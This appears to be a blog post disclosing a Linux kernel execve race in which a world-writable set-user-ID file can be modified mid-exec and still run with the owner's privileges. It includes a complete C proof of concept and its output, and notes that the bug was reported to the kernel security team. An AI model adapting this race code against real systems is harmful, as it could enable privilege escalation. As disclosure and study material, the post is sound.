ElBlo
Bugs that no one cares about: writing to set-user-ID files.
Since commit 2a010c41285345da60cece35575b4e0af7e7bf44
, the Linux Kernel has a bug that makes set-user-ID
binaries a bit less safe.
According to the chmod
man page, when a set-user-ID
file is modified, it loses its set-user-ID
bit (if the process doesn’t have the CAP_FSETID
capability).
The problem is that you can modify the file in the middle of an execve
. This could happen before the binary is loaded, but after the set-user-ID
bit is checked and applied.
It would be extremely rare to encounter a set-user-ID
file that is writable by an attacker, so this bug is not really that interesting.
What is set-user-ID
anyways?
When you execute a program, typically, it executes with the same credentials as the user who executed it (let’s leave capabilities out of this post). However if a binary has the set-user-ID
bit set, and you execute it, your effective user ID becomes the same as the owner of the file.
This allows you to have a few binaries to perform certain tasks that otherwise would require being administrator. For example passwd
to change your own login password.
Proof of Concept
(tested at commit: 5189dafa4cf950e675f02ee04b577dfbbad0d9b1
)
Consider the following C program:
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void) {
if (geteuid() == 0) {
fprintf(stderr, "[#] I am root\n");
}
return 0;
}
Named checker.c
, owned by root:root
with permissions 04777
. This means that the file is set-user-ID
but is also world-writable.
This program prints [#] I am root
if it is executed as the root
user.
Now, consider a program running as root
that spawns two processes. One process would change user id and execute the checker
program, while the other process would write to the file, modifying the string that the program prints. After both processes finish, the main program would “reset” the file, setting it as set-user-ID
and writing back the original string.
#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <unistd.h>
const char* file_path = "./checker";
void drop_privs() {
if (setgroups(0, NULL) == -1) {
err(EXIT_FAILURE, "setgroups");
}
if (setresgid(65000, 65000, 65000) == -1) {
err(EXIT_FAILURE, "setresgid");
}
if (setresuid(65000, 65000, 65000) == -1) {
err(EXIT_FAILURE, "setresuid");
}
}
void overwrite_file(size_t offset) {
drop_privs();
int fd;
do {
fd = open(file_path, O_WRONLY);
} while (fd == -1 && errno == ETXTBSY);
if (fd == -1) {
err(EXIT_FAILURE, "open rewrite");
}
lseek(fd, offset, SEEK_SET);
char c = 'm';
if (write(fd, &c, 1) != 1) {
err(EXIT_FAILURE, "write remove set-user-ID");
}
close(fd);
exit(EXIT_SUCCESS);
}
void check(void) {
drop_privs();
char* argv[] = {file_path, NULL};
char* envp[] = {NULL};
int res;
do {
res = execve(argv[0], argv, envp);
} while (res == -1 && errno == ETXTBSY);
err(EXIT_FAILURE, "execve");
}
size_t find_offset(void) {
// Look for the offset of a string to modify.
int fd = open(file_path, O_RDONLY);
if (fd == -1) {
err(EXIT_FAILURE, "open");
}
const off_t size = lseek(fd, 0, SEEK_END);
if (size == -1) {
err(EXIT_FAILURE, "lseek");
}
lseek(fd, 0, SEEK_SET);
void* data = mmap(NULL, size, PROT_READ, MAP_PRIVATE, fd, 0);
if (data == MAP_FAILED) {
err(EXIT_FAILURE, "mmap");
}
close(fd);
// Look for "[#] I am root"
char* needle = "[#] I am ";
const size_t needle_size = strlen(needle);
void* target_addr = memmem(data, size, needle, needle_size);
if (target_addr == NULL) {
fprintf(stderr, "[!] Failed to find string in program\n");
exit(EXIT_FAILURE);
}
munmap(data, size);
return (size_t)(((uintptr_t)target_addr) - ((uintptr_t)data) + needle_size);
}
int main(void) {
if (geteuid() != 0) {
fprintf(stderr, "[!] Need to be run as root\n");
exit(EXIT_FAILURE);
}
const size_t offset = find_offset();
for (size_t i = 0; i < 1000000; i++) {
pid_t checker_pid = fork();
if (checker_pid == -1) {
err(EXIT_FAILURE, "fork");
}
if (checker_pid == 0) {
check();
__builtin_unreachable();
}
pid_t writer_pid = fork();
if (writer_pid == -1) {
err(EXIT_FAILURE, "fork");
}
if (writer_pid == 0) {
overwrite_file(offset);
__builtin_unreachable();
}
// Wait for both processes to end
int status;
waitpid(writer_pid, &status, 0);
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
fprintf(stderr, "[!] Writer Process Failed\n");
exit(EXIT_FAILURE);
}
waitpid(checker_pid, &status, 0);
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
fprintf(stderr, "[!] Checker Process Failed\n");
exit(EXIT_FAILURE);
}
// Reset the file contents.
int fd = open(file_path, O_WRONLY);
if (fd == -1) {
err(EXIT_FAILURE, "open for reset");
}
char c = 'r';
lseek(fd, offset, SEEK_SET);
if (write(fd, &c, 1) != 1) {
err(EXIT_FAILURE, "write reset");
}
close(fd);
if (chmod("./checker", S_ISUID | S_IRWXO | S_IRWXU | S_IRWXG) == -1) {
err(EXIT_FAILURE, "chmod");
}
}
return 0;
}
Compiling this program as writer
, and ran as root
, we can see:
# ./writer
[#] I am moot
[#] I am moot
[#] I am moot
[#] I am moot
[#] I am moot
[#] I am root
[#] I am moot
[#] I am moot
The process that executes checker is not root
: it has executed setresuid
before to change its effective, real and saved set-user-ID
. By executing ./checker
, it should only see the printout if the checker
binary was set-user-ID
root
.
Given that the writer process called setresuid
transitioning from root
to another uid
, it has dropped the CAP_FSETID
capability. This means that writing to the file should cause it to drop the set-user-ID
bit.
As we can see in the printout, most of the time, we end up executing the modified binary with elevated privileges.
Note that reverting the commit seems to fix the issue.
Report
I reported this to security@kernel.org, and the execve
maintainers are aware of the bug. I think it’s such a rare scenario that nobody cares too much about it.